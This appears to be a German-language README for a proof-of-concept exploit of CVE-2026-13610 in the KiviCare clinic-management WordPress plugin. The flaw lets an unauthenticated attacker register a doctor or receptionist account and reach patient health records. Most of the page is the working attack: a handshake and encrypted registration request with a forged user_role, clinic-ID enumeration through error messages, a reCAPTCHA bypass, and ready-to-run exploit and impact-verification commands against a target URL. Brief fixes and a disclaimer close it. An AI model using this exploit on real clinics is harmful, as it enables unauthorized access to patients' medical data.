
Exploit-PoC für die unauthentifizierte Erstellung von Arzt-/Rezeptionisten-Konten im WordPress-Plugin KiviCare durch unsachgemäßes Privilegienmanagement, das PHI-Zugriff auf Mitarbeiterebene gewährt.
CWE-269 (Unsachgemäße Privilegienverwaltung) | Nicht authentifizierte Registrierung mit einer vom Angreifer gewählten Mitarbeiterrolle → Offenlegung von Patientendaten (PHI)
Kritische Schwachstelle im WordPress-Plugin KiviCare – Clinic & Patient Management System (Versionen bis einschließlich 4.5.1), die es nicht authentifizierten Angreifern ermöglicht, ein Arzt-Konto (kiviCare_doctor) oder Rezeptionisten-Konto (kiviCare_receptionist) mit einem selbst gewählten Passwort zu registrieren, das einer Klinik der Wahl des Angreifers zugeordnet wird.
Die Schwachstelle besteht, weil der öffentliche Registrierungs-Endpunkt den Parameter user_role direkt aus dem Anforderungstext übernimmt und seine Validierungs-Whitelist Klinik-Mitarbeiterrollen enthält:
| Prüfpunkt | Funktion | Ergebnis |
|---|---|---|
permission_callback | Kein is_user_logged_in(), keine Nonce, keine Berechtigungsprüfung | Wird bestanden; endet mit return true |
user_role-Whitelist | Akzeptiert kiviCare_doctor, kiviCare_receptionist, kiviCare_patient | Angreifer wählt Mitarbeiterrolle |
patient_role_only-Parameter | Mit Standardwert yes deklariert | Wird nie gelesen — toter Parameter |
| reCAPTCHA | Nur validiert if (isset($params['recaptchaToken'])) | Wird durch Weglassen des Parameters umgangen |
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-13610 |
| CWE | CWE-269 (Unsachgemäße Privilegienverwaltung) |
| Plugin | KiviCare – Clinic & Patient Management System |
| Betroffen | Versionen bis einschließlich 4.5.1 |
| Gepatcht | Zum Zeitpunkt dieser Analyse nicht bestätigt |
| Typ | Nicht authentifizierte Kontenerstellung mit Mitarbeiterrolle (Privilegieneskalation) |
| Forscher | Sai Praneeth Koti |
| Veröffentlicht | 2026 |
Der Registrierungs-Endpunkt POST /wp-json/kivicare/v1/auth/register
(app/controllers/api/AuthController.php:237–242) wird nur durch
checkRegistrationPermission() (:602–650) geschützt, das Folgendes tut:
true zurück, wenn users_can_register aktiviert ist (keine Authentifizierungsprüfung).KCOption::get() bei Standardinstallationen null zurückgibt.return true zurück.Der register()-Handler (:1277–1387) liest dann user_role aus dem Anforderungstext, bildet es auf die Modelle KCDoctor / KCReceptionist ab und ruft $model->save() auf — das wp_insert_user() und setRole('kiviCare_doctor') (app/models/KCDoctor.php:136) ohne jegliche Autorisierungsprüfung ausführt. Das resultierende Konto ist aktiv und der vom Angreifer gewählten Klinik zugeordnet.
Die E2EE-Verschlüsselung des Anforderungstexts des Plugins ist keine Hürde: Die Handshake-Endpunkte (server-key, config/register-key) sind nicht authentifiziert (app/controllers/api/ConfigController.php:190–205), sodass jeder Client einen Gastschlüssel aushandeln und eine verschlüsselte Nutzlast senden kann.
Vollständiger Ablauf: analysis/TECHNICAL_ANALYSIS.md
1. Handshake (encrypted targets):
POST /wp-json/kivicare/v1/server-key -> server X25519 public key
POST /wp-json/kivicare/v1/config/register-key -> register own public key
(header x_kc_client_id: <anything>, body {"public_key": "<base64>"})
2. Enumerate a valid clinic ID via the validation oracle:
"Invalid clinic selected" -> clinic does not exist
"Username already exists" -> clinic exists
3. Encrypt the payload and send:
POST /wp-json/kivicare/v1/auth/register
body = base64( nonce(24B) || crypto_box(json) )
{
"username": "attacker",
"email": "[email protected]",
"password": "P@ssw0rd-123!",
"first_name": "Att", "last_name": "Acker",
"mobile_number": "+15550133777",
"gender": "male",
"user_role": "kiviCare_doctor", <-- vulnerable parameter
"user_clinic": 1
}
4. HTTP 201 "Registration successful." -> active doctor account created
5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt
python preflight.py http://target.com
python exploit.py --url http://target.com \
--username attacker --email [email protected] --password 'P@ssw0rd-123!'
Das Skript erkennt den Transportmodus automatisch (einfaches JSON vs. E2EE-verschlüsselt) und ermittelt Klinik-IDs, wenn --clinic nicht angegeben wird.
python verify_impact.py --url http://target.com \
--username attacker --password 'P@ssw0rd-123!'
Meldet sich über REST an, bindet den E2EE-Antwortschlüssel des Kontos neu und ruft dann Nur-Mitarbeiter-Endpunkte (/patients, /appointments) auf.
--url Target base URL (required)
--username Username to create (default: attacker<random>)
--email Email (default: <username>@evil.example)
--password Password (default: Poc!Passw0rd-2026)
--role kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic Clinic ID (auto-enumerated when omitted)
--mobile Mobile number (default: random +1555...)
--first-name First name (default: Dr)
--last-name Last name (default: Poc)
--gender Gender (default: male)
--no-verify Skip post-creation login verification
Eine erfolgreiche Ausnutzung führt zu einem aktiven Mitarbeiterkonto, das einer echten Klinik zugeordnet ist, ohne dass eine Authentifizierung erforderlich ist:
wp-admin-Dashboard-Zugriff (read + upload_files) — ein Ausgangspunkt für weitere AngriffeDer Endpunkt erlaubt keine Erstellung eines WordPress-administrator-Kontos (die user_role-Whitelist lehnt es ab), aber die Arztrolle reicht für den vollständigen Zugriff auf klinische Daten aus.
patient_role_only durchcurrent_user_can('create_users') + Nonce-PrüfungcheckRegistrationPermission — entfernen Sie das durchgereichte return truerecaptchaToken, wenn reCAPTCHA aktiviert ist (derzeit optional)NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS.
Dieses Tool ist für Sicherheitsforscher und Penetrationstester mit ausdrücklicher schriftlicher Genehmigung zum Testen von Zielsystemen gedacht. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch dieses Tools. Alle Verifikationen wurden in der eigenen Laborinfrastruktur des Autors durchgeführt.
ghostpels — Sicherheitsforschung & Exploit-Entwicklung
Dieses Projekt ist unter der ghostpels Security Research License lizenziert.